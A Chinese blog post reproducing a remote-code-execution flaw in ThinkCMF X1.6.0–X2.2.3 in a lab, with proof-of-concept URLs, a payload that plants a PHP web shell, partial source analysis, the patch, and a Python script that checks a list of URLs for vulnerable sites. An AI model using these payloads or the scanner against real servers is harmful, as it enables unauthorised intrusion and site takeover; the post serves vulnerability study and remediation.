• ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)


    1.漏洞概述

    攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的

    2.影响版本

    ThinkCMF X1.6.0
    ThinkCMF X2.1.0
    ThinkCMF X2.2.0
    ThinkCMF X2.2.1(我用的是这个)
    ThinkCMF X2.2.2
    ThinkCMF X2.2.3

    3.安装

    赋予权限

     

    4.安装系统

     

    安装成功进入主页

    • Poc
    /?a=display&templateFile=README.md
    
    /?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>
    
    • 测试

    Poc1:

    http://192.168.2.135/thinkcmf-X2.2.1//?a=display&templateFile=README.md

     

    POC2:

    http://192.168.2.135/thinkcmf-X2.2.1/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>

     

    查看info.php

    没有写入成功,干脆看看源代码吧

     

    这里提出了错误信息意思是,没有写入权限

    [2] file_put_contents(info.php): failed to open stream: Permission denied /var/www/html/thinkcmf-X2.2.1/data/runtime/Cache/Portal/''2539f066e2972ad12f670857ed0f6b3d.php 第 1 行.

    1. 简单审计

    在这个目录下面/var/www/html/thinkcmf-X2.2.1/data/runtime/Cache/Portal

    生成了一个临时文件

     

    打开查看

     

    <?php if (!defined('THINK_PATH')) exit(); file_put_contents('info.php','<?php phpinfo();?>');?>
    

    后面检查了一下发现是权限分发的问题

    切换到cms目录下赋予所有文件可读可写可执行权限

    chmod –R 777 *
    

     重新执行POC2

    可以看到已经写入成功,这里执行了phpinfo

     

    • 提权操作

    Payload:

    /?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('shell.php','<?php $a="assert";$a($_POST[123]);?>');?>
    

    前面既然可以写入phpinfo,自然也可以写入恶意代码

     

    没有显示错误,代表写入成功,访问一下,并连接一下试试

     

     手动连接

     

    列出文件(assert好像手工不太好使,emmmm)

    还是上菜刀

     

    • 源代码审计

    通过index.php可以发现,项目入口是application/,切换目录过去

     

    根据poc盲猜控制器IndexController.class.php

     

    空荡荡的,就一个index方法,这里继承的是父类HomebaseController,切出去看看作为程序入口,使用public是比较危险的,public是公有方法任何人都可以调用,并且这里是可以操控的,因此这里可能就是一个漏洞点(修补的话,把public改为protected)

     

    路径找到了,/application/Common/Controller/

    直接搜索fecth 获取输出页面内容

    调用内置的模板引擎fetch方法,

    @access protected

    @param string $templateFile 指定要调用的模板文件

    默认为空 由系统自动定位模板文件

    @param string $content 模板输出内容

    @param string $prefix 模板缓存前缀*

    @return string

    值得关注的是125行这里

    125          */

    126         public function fetch($templateFile='',$content='',$prefix=''){

    127             $templateFile = empty($content)?$this->parseTemplate($templateFile):'';

    128                 return parent::fetch($templateFile,$content,$prefix);

    129         }

    这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀,而fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

    分析不下去(分析失败。。。。)

    • 修复方案

    将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected

     自动化检测漏洞脚本

    #-*- coding:utf-8 -*-
    import urllib2
    import re
    '''
    ThinkCMF框架任意内容包含漏洞
    ThinkCMF X1.6.0
    ThinkCMF X2.1.0
    ThinkCMF X2.2.0
    ThinkCMF X2.2.1
    ThinkCMF X2.2.2
    ThinkCMF X2.2.3
    Poc:
    /?a=display&templateFile=README.md
    /?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>
    Author:Mke2fs
    备注:检测脚本可能会误报,自行优化,优化完了记得滴滴一下我
    还有记得表明出处 ''' path='url地址列表,用绝对路径' #thincmf_payload=['/public/index','/Public/index'] payload=['?a=display&templateFile=README.md'] su=[] def test_is_thinkcmf(): with open(path) as f: contents=f.read() #读取域名 #print contents.replace(' ','').split(' ') urllist=contents.replace(' ','').split(' ')#去除分割符,形成一个url列表 for uri in urllist: try: print uri for x in payload: res=urllib2.Request(uri+x)#urlopen(uri+x,timeout=2) result=urllib2.urlopen(res,timeout=2)#超时两秒 html=result.read() #获取网页内容 #print html aa = re.search('ThinkCMF',html) #print aa if aa !=None : print "33[31m[*] Vulnerabled!" + "URL:" + uri, aa.group() # 设置前景色为红色 su.append(uri) else: print '33[32m[*] Not Vuln' # 设置前景色为绿色 except Exception as e: print '33[32m[*] 未知错误或异常!',e print su with open('包含漏洞url的保存地址','a+') as ff: for i in su: ff.write(i+' ') test_is_thinkcmf()

    参考文章:

    https://xz.aliyun.com/t/6626#toc-5

    https://blog.riskivy.com/thinkcmf-%E6%A1%86%E6%9E%B6%E4%B8%8A%E7%9A%84%E4%BB%BB%E6%84%8F%E5%86%85%E5%AE%B9%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/?from=timeline&isappinstalled=0

  • 相关阅读:
    使用 CSS 强制内容不换行
    奇怪的 Object reference not set to an instance of an object
    (String) 和 String.valueOf() 两种字符串转换的区别
    SQL 里面的 UNION 说明
    Flex/AIR 中 Embed 标签的使用
    把 doc、xls、pdf 转换为 swf 的相关工具
    把指定的站点加到 IE 可信站点中
    在 VS 中快速打开文件或类型
    linux配置网卡
    linux配置本地源
  • 原文地址:https://www.cnblogs.com/mke2fs/p/11744032.html
Copyright © 2020-2023  润新知